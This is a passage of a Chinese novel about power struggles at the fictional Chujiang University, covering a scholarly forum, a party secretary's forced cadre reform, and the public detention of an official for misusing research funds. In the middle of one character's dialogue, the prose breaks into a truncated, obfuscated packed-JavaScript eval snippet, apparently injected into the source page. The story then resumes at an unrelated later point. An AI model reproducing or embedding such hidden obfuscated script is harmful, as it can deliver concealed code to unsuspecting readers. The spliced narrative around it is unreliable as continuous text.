问答式的对谈交锋告一段落后,活动进入到听众提问环节。刚宣布开始,顾明远前面一位穿着旧式布褂的中年男子站了起来,他的普通话并不标准,但声音很是亮堂:“我想请教莫教授,您刚才提到了乌台诗案,我想问的是,北宋御史台以‘谤讪朝政’的罪名审讯苏轼,这种做法是否符合当时的司法制度和程序?” 莫笑非教授手中的折扇不易察觉地抖动了一下,他眯起眼睛,打量着提问者,反问道:“你是……哪个单位的?” 提问者坦然回答:“我是刚从电大中文专业毕业的。” “什么?什么……大?”莫笑非的折扇“啪”地一声合拢,脸上露出困惑甚至略带轻视的神情:“有这样一所大学吗?” 会场内响起一片压抑不住的哗然之声。车曦照见状,笑着解围:“诶,莫教授看来真是潜心书斋,不问世事啊。电大——广播电视大学,现在可是了不得。每年为国家培养的毕业生不下数十万,为那些被时代耽误的人提供了宝贵的学习机会。不瞒诸位,老夫现在还是他们的特聘教授呢。” 台下自发地响起了一阵热烈而持久的掌声。在这掌声中,莫笑非教授的脸色让顾明远联想起实验室里浸泡着的福尔马林标本,僵硬而缺乏生气。林思齐在一旁小声嘀咕道:“都什么年代了,还抱着门户之见,真是可悲。” 林城外先生望了一眼自己的学生莫笑非,赶紧将目光投向台下问道:“看来今天台下真是藏龙卧虎。刚才这位老师提出的问题很有深度,不知在场是否有哪位方家,愿意尝试解答一下?” 一直想在林思齐面前表现一番的顾明远犹豫片刻后站起身来,清晰而沉稳地说道:“关于乌台诗案,它确实在一定程度上打破了宋代通常实行的‘鞫谳分司’(即审讯与判决分离)的司法流程。御史台在此案中采取的‘杂治’(联合审讯)加上对苏轼诗笺进行带有倾向性‘注析’的手段,本质上是为了绕过正常的司法制约体系——其性质,有点类似于今天的专案组跳过常规程序直接办案。这深刻反映出,宋代皇权在意图严厉打击政治异见时,会采取临时‘改装’甚至架空现有制度工具的策略,可以说,这是传统文字狱在宋代的一种‘技术升级’……。” 顾明远的论述赢得了台上车曦照的频频点头。一旁的林思齐情不自禁地轻轻为他鼓掌。 顾明远表现显然引起了车曦照教授的特别注意。茶歇时,老先生特意让人将顾明远请到旁边的贵宾休息室。简单交谈后,车曦照办开玩笑询问他是否愿意去北京读博深造。一旁的林城外连忙向顾明远示意。也许是这些年在楚江大学见识了太多的在职读研读博的乱象,顾明远出乎意料没有给出明确的答复。 车曦照是何等人物,立刻转移话题,和林城外聊起了史学词典的编纂事宜。 论坛结束后,顾明远与林思齐一同随着人流走出图书馆。在得知顾明远拒绝了车曦照的盛情后,林思齐丹凤眼眼尾轻轻上挑,瞥了顾明远一眼笑道:“顾老师很有个性啊,连车先生这样的大珈递出的橄榄枝都可以不接?” 顾明远淡淡地笑了笑:“车先生学问深如瀚海,我怕自己配不上这样的导师。说不定将来还有机会的。” “我倒是觉得机会非常难得。”林思齐语气诚恳:“如果顾老师是对学费等方面有所顾虑,或许……我可以让我父亲帮忙从中斡旋一下,看看能否争取到一些优惠或资助?” 顾明远心头蓦地一热,有些惭愧和后悔起来:是啊,如果能投在车先生名下深造,那对学问精进该有多大的裨益啊。看着林思齐清澈的目光,他不由自主地自我检讨起来:“唉,刚才还是太冲动了些。有机会还是要向车先生请教。”说到这里,想起刚才在现场的回答问题的冲动,赶紧问道:“林医生不会笑话我刚才的冒失吧?” 林思齐嘴角挂着一抹浅笑:“怎么会呢。不过,莫笑非老先生会不会觉得你冒失,我可不能打包票的。”说到这里,她翻开随身携带的笔记本,指尖点着几处用红笔细心标注的地方:“其实,今天两位教授都出现过闪失的。譬如车教授在举例时,误将‘流光容易把人抛,红了樱桃,绿了芭蕉’这首词归于姜夔名下。我依稀记得,这应是宋末词人蒋捷的《一剪梅·舟过吴江》中的句子。”又翻过一页,继续说道:“还有,在谈及苏轼《江城子·密州出猎》中‘何日遣冯唐’一句时,车教授对典故的解读有误。冯唐是汉文帝时人,而非汉武帝时期。至于贵校的那位莫教授……”,她轻轻撩了一下垂落至眉梢的几缕秀发,语气中带着一种基于学术严谨本能的不屑:“其疏漏之处,更是比比皆是。你没看见他的导师那位林先生几次摇头吗?” 顾明远心里明白,林思齐这样做绝非是为了显摆,而是源于家学熏陶出的习惯使然。心中对她不免又增添了几分敬重与好感。当然,他更清楚,这份好感如同秋夜独自读书时忽见窗纸上映来的一痕疏淡竹影,可观可赏,却不必非要将它移栽到自家的院落里来。如果这算是以中情愫,那应该是纯净而克制,宛如两盏相邻的读书灯,各自安静地照亮一方书案,偶尔光晕交融,也只为让彼此卷册上的文字显得更加清晰分明。 在顾明远的心中,君子之交,知己之谊,自有其坦荡而适宜的尺度:既不必逾越雷池去采撷那不应属于自己的芬芳,也不会因畏惧流言而刻意斫断这份美好的连接。 本来想请林思齐共进午餐,因为她要赶回医院值班只好作罢。站在图书馆前的台阶上,目送着林思齐像一只轻盈的燕子,快步穿过人群,登上了停在路边的公交车。顾明远心中却感到一种难得的宁静与充实。 44. 杀鸡儆猴 几把火烧过,楚江大学的政治生态已然天翻地覆。一切尘埃落定,戈大垣终于可以按照自己的意志,重塑这所百年学府的权力格局。 在拔掉与贾振、南令陶等“老臣”关系紧密的组织部长葛建军后,戈大垣便着手推进酝酿已久的新一轮干部竞聘了。他要借这个机会,淘汰一批不识时务的,重用一批忠心耿耿的,同时敲打一批摇摆观望的,以此来重构楚江大学的干部生态, 事情来得毫无征兆,如同一场精心策划的突袭。 在一次看似寻常的党委会上,当各项常规议题接近尾声,戈大垣以一种不经意的口吻对新任组织部长范瑞示意:“范部长将方案跟大家通通气吧。” 范瑞应声而起,将事先准备好的《楚江大学中层干部竞聘上岗实施方案(讨论稿)》逐一发到每位领导面前。纸张摩擦的窸窣声,在突然变得凝滞的空气里显得格外刺耳。 校长周濂的眉头瞬间拧成了一个结。他事先对这项工作毫不知情。这种完全蒙在鼓里的感觉,扎得他心口生疼。近一年来,戈大垣步步进逼,不断挤压他的权力空间。周濂强压着怒火,迅速翻看方案,当看到“年满58周岁的处级干部原则上不再担任实职”这一条时,积压的无名火似乎找到了喷射的出口:“大量提拔年轻干部,我举双手赞成,但是,对58岁以上的老同志搞‘一刀切’,全部‘劝退’,这是不是太激进、太不近人情了?这些老同志为学校发展立下过汗马功劳,没有功劳也有苦劳嘛。怎么能像扔破抹布一样,说扔就扔?” 他的目光锐利地扫过在场每一个人的脸,试图寻找支持者。可惜大家都在刻意回避他的目光,将注意力假装用在方案上。 戈大垣不慌不忙从中华烟盒里取出一支烟,“叮”一声掀开打火机盖,点燃后深吸一口,缓缓吐出一条淡蓝色的烟雾。他没有直接回应周濂的质疑,而是转向身后的范瑞说道:“范部长将学校目前中层干部的情况也跟领导们通报一下嘛。” 范瑞将早就准备好的材料拿起来汇报:“现有处级干部213人。其中,57名正处级干部中,有19人年龄已超过58岁,占比33.3%;156名副处级干部中,有63人超过58岁,占比40.4%。总体来看,干部队伍老龄化问题比较突出,梯队建设存在断档风险……。” 话音刚落,会议室里炸开了细碎的骚动,空气里弥漫着一种紧张而又暧昧的气息。 戈大垣目光扫视全场,最后停留在周濂脸上,语气带着一种不容置疑的权威:“在座各位在楚江大学的资历都比我老,难道不清楚干部老龄化的严重性?不打破这潭死水,学校的事业怎么发展?年轻人的积极性怎么调动?”说完,他意味深长看了副书记赵文启一眼:“文启书记,你是分管组织工作的,说说你的看法吧?” 赵文启心里像打翻了五味瓶。他也是会前从范瑞那里得知方案内容的,戈大垣的做法无异于架空了他这个分管组织的副书记。然而,即便心中怨愤,不敢有丝毫表露——前不久,戈大垣“无意间”善意提醒他在财务处任职的儿媳有一些“问题线索”,这让赵文启有些如临大敌、心惊胆战。他知道,这是警告。 赵文启沉吟片刻,字斟句酌,试图在钢丝上保持平衡:“上一轮干部竞聘过去四年了,启动新一轮改革很有必要。不过……”,他话锋一转,显得小心翼翼:“涉及到老同志的安排,是否可以考虑更稳妥、更人性化的方式?毕竟,学校也是稳定压倒一切的。” 江川现在是戈大垣的铁杆拥护者,不待赵文启话音落地,他清脆的声音接续响起:“我完全这个方案。说实话,这些年学校在干部队伍建设几乎是无所作为,一些老同志占着位子不谋其政,不思进取,都快成了学校改革发展的‘肠梗阻’。长痛不如短痛,必须下决心解决干部老龄化问题。” 眼见风头又被江川抢去,孟超赶紧旗帜鲜明地亮出了态度,其他人本来都是骑在墙上,这下全都倒向了戈大垣这边。周濂几乎成了孤家寡人,然而他仍然不甘示弱,手中的陶瓷杯盖重重磕在桌面上:“在座的像老赵、老汤也算是老同志了。老同志们为学校发展是功不可没的,不能简单地用什么‘梗阻’、‘摆烂’来定义他们嘛。我还是这个态度,‘一刀切’的做法未必对稳定有利的。” 戈大垣轻轻掸了掸烟灰,接过话茬,语气平静中却带着锋利:“刚才有的同志的话可能有点偏激,但学校中层干部老龄化现象的严重是不能否认的。如果任其发展,最后对事业肯定不是好事。我相信周校长的担忧肯定也还是从事业发展出发的吧?” 周濂不想放弃校长的尊严,他有意挺直了腰杆,侧眼看了戈大垣一眼:“既然多数同志同意,我妈是谁服从多数。不过,个人保留意见,”说到这里,他转头对负责会议记录的桂先锋说道:“小桂务必在会议纪要里准确、完整地记录我的意见。” 戈大垣淡然一笑,那笑容里混杂着一丝怜悯和胜利者的傲慢。在最后总结时,他以一种不容置疑的口吻总结道:“既然多数同志同意,那么,这个方案原则上通过。具体实施细节,由组织部根据讨论意见修改后下发。散会。” 回到办公室,周濂反手重重关上房门,巨大的声响在空寂的房间里回荡。他颓然跌坐在沙发上,一种被公然架空的屈辱在胸腔里蔓延。他觉得不能一味隐忍退让,必须做点什么让戈大垣知道些厉害。可是,如何反击?他有些心乱如麻。以前对付许继武的那一套如果用在公安出身的戈大垣身上,弄不好会惹火烧身,适得其反。思来想去,还是觉得借用贾振、南令陶这些即将被“一刀切”的老部下的力量比较可靠。 这次,周濂决定不再听取老校长吴若甫的指导,他打定主意独立行动。 已经从得知方案内容的吴若甫虽然觉得这个方案有点激进,但对“干部年轻化”的做法一百个赞同:这不正是给女婿顾明远一个绝佳的机会了吗?他现在唯一担心的是自己这位对仕途既无兴趣又不开窍的女婿。他必须尽快找顾明远谈谈,一来探探他的真实想法,二来必须给他施加压力。 经过吴雅娟的好说歹劝,顾明远极不情愿地来到了岳父家。饭后,吴若甫示意顾明远到书房说话。 顾明远心里烦闷,却也无可奈何,默默地跟着岳父走进挂满吴若甫书法作品的大书房。 吴若甫径直走到宽大的书桌后坐下,这次没有绕圈子,开门见山地说出了学校即将启动干部竞聘的事情。 顾明远已经从同事间的零星议论中听到了风声,因为了无兴趣,并未刻意去打探具体内容。在吴若甫提出话题的一刹那,顾明远就明白了今天被召见的目的。这些年来,他对岳父是尊重的,但同时也是疏离的。尤其是岳父那种自作主张地为他的“仕途”搭桥铺路的做法,就像硬塞给他一件裁剪不合身、风格迥异的礼服,让他感到浑身别扭,甚至心生反感。以往,每当吴若甫进行这方面的“谆谆教诲”时,顾明远大多采取的是沉默不语或含糊应答的软性对抗。今天,他决定不再回避,直接表明态度。 “干部竞聘?”顾明远推了推鼻梁上的眼镜,声音里带着刻意平静和散漫:“听倒是听说过,不过这和我好像关系不大,我还是安心做我的老师,搞我的研究比较好。” 书房墙角那座老式的红木座钟恰好“当当”地敲响了整点报时。悠扬的钟声在寂静的书房里回荡,掩盖了吴若甫眉宇间瞬间掠过的阴翳。正要说话,一直在书房门外紧张偷听的吴雅娟忍不住推门闯了进来:“你真是个榆木脑袋。爸把台阶都铺到你脚边了,你怎么连腿都不想抬一下?” 吴雅娟的冒失有些打乱了吴若甫的节奏,看见顾明远的脸色有些难看,他挥了挥手,语气威严:“雅娟,我和明远谈事情,你进来干嘛?” 吴雅娟悻悻地瞪了顾明远一眼,不情愿地退了出去。 书房里重新恢复了安静,只剩下窗外的风声和彼此轻微的呼吸声。 吴若甫换了种声调,像一位循循善诱的老中医,试图用温和的话语捻动银针扎准穴位:“明远啊,你知道为什么紫砂壶越养越润,越用越有光泽吗?” 顾明远没有吭声,他知道岳父并不需要他回答。 吴若甫自问自答:“因为每一道茶汤,都在慢慢地滋养它,给它镀上一层时光的魂魄。”他手指在紫砂壶上摩挲了片刻后继续说道:“一所大学,一个单位,也是如此。行政职务,就是滋养你的‘茶汤’——没有这份历练,人就可能永远只是个‘生胚子’,最后上不了台面。” 顾明远继续选择了沉默。,任由吴若甫起身后的身影在眼前晃动。 “学问是酒,是好酒,这没错,”吴若甫忽然停住脚步,转身看着顾明远,眼镜片后的目光锐利得像手术刀:“但职务,才是装酒的瓶子。没有这个瓶子,再香醇的美酒,最终也只能挥发成寡淡的白水。别人看不到,尝不到,更不会认可它的价值。” 顾明远不想就此屈服:“我看林城外、车曦照这些大学问家,他们也没有什么显赫的行政职务,可他们的学问,他们的名声,照样响彻学界。不是说酒香不怕巷子深吗。” 吴若甫脸上明显写上了不悦,语气也加重了几分:“车曦照是中国历史学会的副会长,那是副部级的学术职务。林城外是他们学校学术委员会的主任,学术权力不比一个校长小。你能说他们没有‘酒瓶’?他们的瓶子,比一般行政干部的瓶子更金贵。” 顾明远一时语塞,意识到自己的反驳确实有些天真。他低下头去,看着自己磨得有些发白的牛仔裤边不再说话。 “这次戈书记是用心良苦啊。”吴若甫趁热打铁:“为了给你们年轻人舞台,他可是顶住压力的。你近年三十四啦,这是多么难得的机会。如果轻易放弃,迟早会被边缘化的。” 就在这时,书房的门被轻轻推开了。被女儿怂恿来的万素琴特意端来两碗新熬制的银耳雪梨汤走了进来。她将一杯茶放在顾明远面前,语气温和而实在:“明远啊,我们也是为你和你们这个家好。雅娟他爸当年不也是从普通老师一步一步做到系主任、副校长、校长的吗?你可别小看职务,在楚江大学,处长可比教授管用得多、受尊重得多。” 与吴若甫宏大而抽象的道理相比,万素琴的话更接地气,也更能触动顾明远内心最柔软的部分。古人“夫贵妻荣”“一人得道”这些看似荒谬的东西在他的脑海里翻腾起来,最终在两位老人殷切目光的注视下,化作心底一声无人听见的、沉重的叹息。 这一夜,顾明远躺在床上辗转反侧,难以入眠。窗外的雨已经停了,月光透过薄云和窗帘的缝隙,在地板上投下模糊的光斑。在他的精神世界里,做学问艰辛枯燥,但很充实快乐,好像挖掘的深井忽然冒出了清冽的泉水一般和地层深处的奥秘,那是一种孤独、纯粹的独特快乐。经过这些年的耳闻目睹,楚江大学的所谓“仕途”有时像是在搅动一池浑水,你不得不弯腰低头,不得不察言观色,为了所谓的左右逢源而不得不同流合污。小到钟德君林书锦,大到孟超秦冰纶,盘算的全都是攀附和倾轧。对此,顾明远从心底里感到厌恶。他宁可深夜独对孤灯在古籍里寻章断句,也不愿踏入那个充满算计和虚伪的名利场。岳父岳母和妻子的话,像一把把钝刀切割撕裂着他固守的信念和梦想。他第一次如此真切地感受到,自己所谓的“书生理想”,在坚硬如铁的现实面前,是多么的脆弱和不堪一击。 在方案正式推出之前,戈大垣开始进行广泛的调研和摸底。既有现任的处长,也有普通的职工。经过一年多的观察和试探,历史学院院长进入了戈大垣的视野。副书记赵文启退休在即,上面已经原则同意可以从校内遴选补缺。在反复权衡比较后,戈大垣觉得秦冰纶算是一个合适人选。但是,在办公室主任桂先锋无意提起“秦院长是周校长一手提拔起来的”后,戈大垣决定要进一步考察考察这个漂亮又有张力的女干部。 接到戈大垣办公室召见的电话,秦冰纶内心开始起了波澜,站在洗手间的镜子前,她反复地检视挑剔着身上的瑕疵,米灰色的亚麻材质西装既能突出自己婀娜的身段又能显出干练的风格,她是满意的。但是,她似乎隐隐觉得哪里不太对劲,仔细寻找了半天,最终发现问题出在耳坠上,这对水头很足的翡翠耳坠实在有些招摇和打眼,她赶紧回到办公室,找出一对小巧精致的铂金镶钻耳钉戴上,褪去了浮华和艳丽,平添了知性和沉稳。 戈大垣的办公室宽敞而简洁。他请秦冰纶在会客区的沙发上坐下,态度看似随和,那双锐利的眼睛却始终没有离开过秦冰纶的脸。 “秦院长对学校即将启动的这次干部竞聘怎么看呀?”开门见山是戈大垣的一贯风格。 秦冰纶早有预备,回答起来也很干脆:“虽然还没有看到正式的文本,但听说了这次改革在年轻化上步子很大,我觉得戈书记您真是把脉精准,切中要害,戳中了咱们学校干部队伍老化、活力不足的痛处。”顿了顿,为了显出自己并非盲目奉承,又补充道:“说实话,前面的主要领导在干部问题上可能过于求稳,难免在干部梯队建设上有些保守,欠了不少账。这次提出的‘能上能下’机制,确实是对那些安于现状、想躺平的干部敲响了警钟,我相信大部分同志打心眼里是赞成和支持的。”她有意用平稳、诚恳的口吻说出来,既表达了拥护,又显得客观。 戈大垣突然话锋一转:“听说你们周校长,对贾振、南令陶这些老处长特别信任格外倚重呢。” 秦冰纶心中微微一懔。“你们”二字,从戈大垣口中说出,显得有些刺耳。这分明是在试探她与周濂的关系亲疏。她从容地将额前的一缕碎发别至耳后,语气平和地回答:“因为平日里忙于工作,这个我倒没有注意。也许周校长看重的是老处长们经验丰富吧。不过……”,说到这里,秦冰纶主动直视戈大垣,目光清澈态度坦诚:“说实话,若论魄力和眼光,我觉得现在的领导确实需要向书记您学习。就拿‘年满58岁退二线’来说吧,放在以前,人们想都不敢想的。” “秦院长的意思是有些过激了罗?”戈大垣故意测试,忽然取出一支烟,却故意停在半空问道:“不介意吧?” 秦冰纶的注意力还停留在戈大垣前面那句反问句是,对平日里极其厌恶的烟味毫无知觉,只顾着替自己辩解:“我觉得吧,针对现在干部队伍老龄化严重的现实,这样做一点也不算过激,反而是事业发展的关键之举”,看到戈大垣被烟呛着咳嗽了几口,秦冰纶赶紧起身给他的杯子里添水,杏眼中漾起柔和的波光说道:“听说戈书记烟抽得挺凶的,建议您还是适当控制一下,为了学校,您得保重身体。”这番带着女性细腻的提醒,说得自然而不谄媚,让戈大垣夹烟的手指微微一顿,那缕刚刚吐出的青烟在空气中打了个颤,就像他此刻突然被某种温暖的东西触碰了一下心尖。 戈大垣又将话题引到了年轻干部的推荐上。秦冰纶有意抛出了几个能力平平且背景相对简单的人选,然后不经意地提到了林书锦。 戈大垣又换了一支烟,脸色平静如常,“吧嗒”抽了两口后,忽然问道:“你觉得顾明远怎么样?” 秦冰纶本来是打算推荐顾明远的。因为担心戈大垣怀疑自己是在拍吴若甫和周濂的马屁,加上顾明远对自己若即若离的态度,干脆选择了放弃。现在,戈大垣主动提到了他,自己就不能不有个态度。在思忖了片刻后,她斟酌着说道:“这个小伙子吧,学术上是没得说,”她翘了翘大拇指继续说道:“不过呢,就是因为过于专注学术,有时显得不太通世故,书生气也重了点。” 看见戈大垣面色如水,秦冰纶吃不准他心里路数,只好又补充道:“当然,从这几年做教研室主任的表现来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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上午八点半,会议准时开始。人们脸上带着各种复杂的表情:期待、焦虑、好奇、观望。雨水洗过的阳光从高大的窗户斜射进来,照得主席台背景板上金色校徽和会议横幅泛着冷冽的光泽。 主席台上,只在最中央的位置摆放了两个座位供书记戈大垣和校长周濂落座。戈大垣神态自若,目光平静地扫视着台下黑压压的人群。周濂则略显严肃,他调整了一下话筒的位置,然后将目光转向戈大垣,那是请示会议是否可以开始的意思。戈大垣微微颔首后,周濂清了清嗓子,宣布大会开始。 组织部部长范瑞一字不差照本宣科《楚江大学中层干部竞聘上岗实施方案》,当念到“年满58周岁的处级干部,原则上不再担任实职领导岗位,可转任同级非领导职务或退出领导岗位”时,台下明显出现了一阵不小的骚动,窃窃私语声像潮水般涌起。 范瑞宣读完毕,周濂一刻不停,用手指轻轻弹了弹面前的话筒,面带微笑,用一种尽量显得平和开放的语调说道:“同志们,戈书记一直倡导民主治校、科学决策。为此,今天的大会特意安排了一个环节,就是请大家对这个方案发表意见和建议。下面,哪一位先开这个头呀?” 话音刚落,坐在第三排的贾振迫不及待地站起身来,正要说话,戈大垣难得地笑着插话:“贾处长可以到台上来讲嘛,这样大家听得更清楚些。”贾振也不客气,手里拿着事先准备好的稿纸,满脸通红,三步并作两步走上主席台,由于动作过猛,险些摔倒在台阶上。站在讲台上,贾振故意朝主席台方向斜睨了一眼——那眼神里混杂着七分挑衅、三分自得,还有压抑不住的愤怒。 “今天这个方案,别的我先不说,就这条58岁‘一刀切’的规定,”贾振的武汉口音在扩音器里炸开,显得格外尖锐:“这让我想起了那句老话,‘飞鸟尽,良弓藏;狡兔死,走狗烹’。”他挥舞着稿纸,声音越来越高:“在座的各位领导都很清楚,三十年前,楚江大学还蜗居在那个只有一百多亩地的老校区时,是什么样子?是我们这批人,通宵熬夜赶图纸、跑项目,顶着烈日和工人们一起夯地基、搬砖头,才一点一点把学校建设成如今这个样子。我们不敢说自己有多大功劳,但苦劳总还是有的吧。”他越说越激动,指节重重地敲击着发言席的桌面,发出“咚咚”的响声:“现在这一刀切下来,切掉的不仅仅是我们的职务,更是我们的心血、人格和尊严啊。寒心!真是让人寒心!”说到这里,贾振明显有些口干舌燥,不停地伸出舌头舔着干燥的嘴唇。 他的话赢得了台下的低声喝彩,甚至有几个和他一样即将“被退休”的老处长偷偷拍起了桌子。会场的气氛明显变得紧张起来。 主席台上,戈大垣嘴角处似乎噙着一丝若有若无的笑意,仿佛看到一条将被钓上岸的大鱼做着徒劳挣扎的满足。周濂的眼角处虽然流露出光彩但脸上是明显有些紧张不宁,不时偷偷用眼角的余光瞥着戈大垣,活像一个在考场作弊生怕被抓住的学生。为了显出自己的中立,他不时敲着话筒提醒贾振“冷静”,声音却虚浮发飘,缺乏力度。每当这时,戈大垣抬手总会将自己掌控全局的气场通过麦克风传遍整个会场:“民主治校嘛,就是要让大家畅所欲言。”说完,甚至还对贾振做了一个“请继续”的手势。 戈大垣沉稳淡定的态度,反而让情绪激昂的贾振有些慌乱,额头和鼻尖上沁出的细密油汗在灯光下闪闪发光。他下意识地摘下老花眼镜,将讲稿抵近眼前,极力从潦草的字迹里寻找继续攻击的弹药。 就在贾振准备继续发射弹药时,会场侧面的那道深红色天鹅绒幕布突然被人从后面拉开。 所有人的目光瞬间被吸引过去。 只见桂先锋领着三个身着深色西装、神情严肃的陌生人径直走上台来,皮鞋叩击地面的声音在突然变得异常安静的会场里显得格外清晰。台下有眼尖的人立刻认出了走在前面那位身材高挑、气质干练的中年女子——省纪委第三纪检监察室主任高敏。 高敏径直走向主席台,在和戈大垣耳语了几句后,在桂先锋搬来的椅子上坐定,从公文包里抽出一份带有红色抬头的文件,声音清晰、冷静,不带任何感情色彩,像浸过冰水一样在鸦雀无声的会场里流淌: “根据初步核实,楚江大学科技处长贾振同志涉嫌严重违纪,存在挪用重大科研项目经费等问题。根据《中国共产党纪律检查机关监督执纪工作规则》有关规定,现决定对贾振同志进行立案审查。” 站在讲台前的贾振仿佛被一道闪电击中,躯体僵硬,脸色惨白,还未等到反应过来,立在高敏身后的两名年轻男子已经一左一右夹住了他。从露面、宣布到带离,整个过程精准、迅速,像一台精密运作的机床,耗时不过三分钟。 看见贾振几乎是被半护送、半强制地带离了会场。“啪嗒——”, 主持会议的周濂手中的钢笔脱手砸在铺着绿色绒布的桌面上,他的瞳孔剧烈收缩,只有不受控制微微抽搐的嘴角,泄露着他内心翻江倒海般的惊涛骇浪和极度震惊。他无论如何也想不到,戈大垣竟然会选择在这个时间、这个地点,以这样一种公开而凌厉的方式对贾振实施“斩首”。 台下,死寂过后,突然爆发出“嗡”的一片骚动。那些原本还在等着贾振演说完毕自己也上台表达抗议的老处长们,此刻脸色灰败、神情黯然,齐刷刷地低下了头,生怕被台上的戈大垣点将。会场里弥漫着一种恐惧和震惊交织的气氛。 唯有戈大垣依旧气定神闲。他甚至还有闲心用杯盖轻轻拨弄着茶杯里的浮叶。过了片刻,在周濂有气无力的邀请下,戈大垣目光平静地扫视全场后,简短未会议划上了句号:改革势在必行,个人服从大局。一字一顿中,周濂以及其他人大概都明白了戈大垣“顺我者昌逆我者亡”的杀鸡儆猴的手段。 45. 逐鹿沙场 散会后,周濂像是被抽去了筋骨,整个人瘫陷在办公室宽大的皮椅里。胸腔里心脏狂跳不止,如同刚跑完一场耗尽全力的马拉松。戈大垣那张脸,那张似笑非笑、深不见底的脸,依旧在他眼前晃动,“贾振涉嫌挪用科研经费”这句话像一把冰锥精准地刺入他心脏最脆弱的地方。周濂只觉得一股寒意自脚底板升起,沿着脊椎一路窜到头顶,让他在这闷热的午后如坠冰窖。他下意识地拉开办公桌抽屉,那个平放在最上面的牛皮纸信封格外刺眼,里面装的是贾振上个礼拜以“课题劳务费”送来的两万块钱报酬。此刻,信封像一块烧得通红的烙铁,烫得他五脏六腑都在翻腾。 办公室的门被悄无声息地推开一条缝,图书馆馆长南令陶像一只受惊的兔子闪了进来,又迅速将门掩上。这个平日里总爱端着紫砂壶品茶的男人,此刻面色惨白如纸,连那两撇精心修剪的八字胡,都在不受控制地微微颤抖。 “周……周校长,”南令陶的声音像是从牙缝里挤出来的:“你说……老贾他……会不会把我们也给供出来啊?” 周濂抬起眼皮,目光中溢出些许被打扰的不耐与更深的不满:“老南,这都什么时候了,还在乱说话。什么‘我们’?你和老贾之间有没有牵连,你自己心里最清楚嘛。”他的脸颊因激动而有些涨红,语气也刻意加重,仿佛要借此划清界限。 南令陶心里咯噔一下,泛起一股酸涩的不平。他是知道贾振这些年给周濂送课题劳务费的事的,此刻见周濂急于撇清,心里不免有些鄙夷。但毕竟人家是校长,官大一级压死人,他不敢当面戳穿,只得按下不满,语气软和中带着几分讨好:“周校长,您别误会,我这不是担心嘛……贾振这个人,嘴巴不一定严实……。” 周濂不想在这个问题上纠缠,想起以前冯伟曾隐约提过的关于图书馆“图书采购回扣”的传闻,便故意反问道:“你们图书馆那边的事情,总不会都告诉老贾了吧?” 这话如同针尖扎中了南令陶最敏感的神经,声音陡然拔高:“怎么会呢。我们图书馆一向是清清白白……”,话说到一半,看着周濂那洞悉一切的眼神,南令陶像是被抽走了所有底气,声音瞬间萎靡下去,颓然跌坐回沙发里,长长叹了口气:“唉……这个老贾,就是不听劝啊,安安分分不好吗?非要当这个出头鸟,搞么斯(搞什么)名堂……。” 看着这个跟了自己二十几年的老部下此刻惊慌失措、方寸大乱,周濂心里莫名泛起一丝物伤其类的悲凉,无力地安慰了几句后,将南令陶打发走了。 暮色渐浓。不知何时,窗外下起了淅淅沥沥的雨,雨点敲打着玻璃窗,发出沉闷的声响。周濂撑着那把黑色的旧伞,钻进雨幕之中。雨点砸在伞面上,噼啪作响,像无数细密而急促的鼓点,敲得他太阳穴突突直跳。走到自家楼下时,他下意识地望了一眼隔壁门洞,只见二楼吴若甫家的客厅还亮着温暖的灯光。鬼使神差地,他的脚步一转,朝着那灯光走了过去。 吴若甫已经得到贾振出事的消息。听完周濂略带混乱的讲述,他轻笑一声,摇了摇头:“我早说过,你们斗不过他的。人家在公安系统时处理过多少棘手的大案要案?什么样的人和场面没见过?你们这些长期待在象牙塔里的书生,论起运筹帷幄、审时度势,哪是他的对手呀。” 周濂手中的小茶杯灼痛了他的掌心,他清楚地捕捉到了吴若甫话里那个关键词——“你们”。这微妙的人称变化,带着一种不动声色的疏离,像是在悄然划清界限。 在送周濂出门时,吴若甫轻轻拍了拍他的肩膀,语重心长地说道:“以和求和。主动服软,以退为进不丢人。和为贵嘛。” 这一夜,对周濂而言注定是无眠的。他在书房里来回踱步,很少抽烟的他一支一支地燃烧着烟卷。吴若甫的话、戈大垣的脸、抽屉里的信封、贾振的命运……像走马灯一样在他脑海里旋转。抗争?拿什么抗争?戈大垣手中的随时可以引爆。妥协?意味着多年的经营、校长的权威都将付诸东流。远处的鸡鸣声响起,天际泛起鱼肚白,周濂望着镜中那个双眼布满血丝、憔悴不堪的自己,终于颓然地认识到:今时不同往日,主动求和、体面投降也许是唯一能够保全自己的选择。 周末的清晨,周濂几乎怀着一种近乎上刑场的心情,站在了戈大垣位于东湖附近的家门前。 戈大垣似乎对周濂的贸然来访没有一点惊讶,他上身穿着半旧的白色汗衫,下身是条宽松的深色裤子,脚上蹬着一双老北京布鞋,一身居家打扮,显得随意而放松。虽然身材比周濂矮了半头,板寸头上钢刷般的短发配合着他炯炯有神的眼睛,气场远在周濂之上。 厨房里走出一个面容和善、系着围裙的女人,未开口脸上先漾开温和的笑意,一声“快请坐吧”,温软得像是像刚出笼的米糕。经戈大垣介绍,夫人是高级中学老师。女人将一杯现沏的热茶放在两人面前,便自顾着去厨房忙活去了。 “戈书记,”周濂啜了一口茶,努力让自己的声音听起来平稳,“这次干部年轻化改革,我认为方向是非常正确的,不能因为贾振这样一闹而受到影响。”顿了顿,语气变得更加坚定:“有些思想上暂时还想不通的老处长,我会亲自去做工作,总得服从大局吧。”这番话,是周濂思考一夜的结果,既是表态,也要臣服。 目的达到,戈大垣眼神明显热烈起来,语气也变得推心置腹:“有校长你这句话,我这心里就踏实多了。我一直都是这个观点,只要班子团结,就没有过不去的坎儿。”他顿了顿,端起自己的茶杯喝了一口后缓缓说道:“关于贾振的事情,我想有必要跟周校长再通个气。其实这次动他,倒不完全是因为阻碍干部改革,关键是他占用、挪用科研经费的问题实在放出严重,如果不及时处理,弄不好将来会殃及很多的。” 周濂只觉耳畔“嗡”的一声,血液瞬间冲上了头顶。戈大垣这番有所保留的话,既点了贾振,又敲打了他。思前想后,为了显得诚恳,周濂主动说出了自己收取课题劳务费的事情。这实际上意味着完全的缴械投降。 周濂的话还没说完,戈大垣轻描淡写地摆了摆手:“周校长不必说这个,完全不必嘛。我对您的人品和格局还是了解的。作为课题的牵头人,领取正常的、符合规定的课题劳务费,这是有文件规定的。这点小事,你不用挂在心里了。” 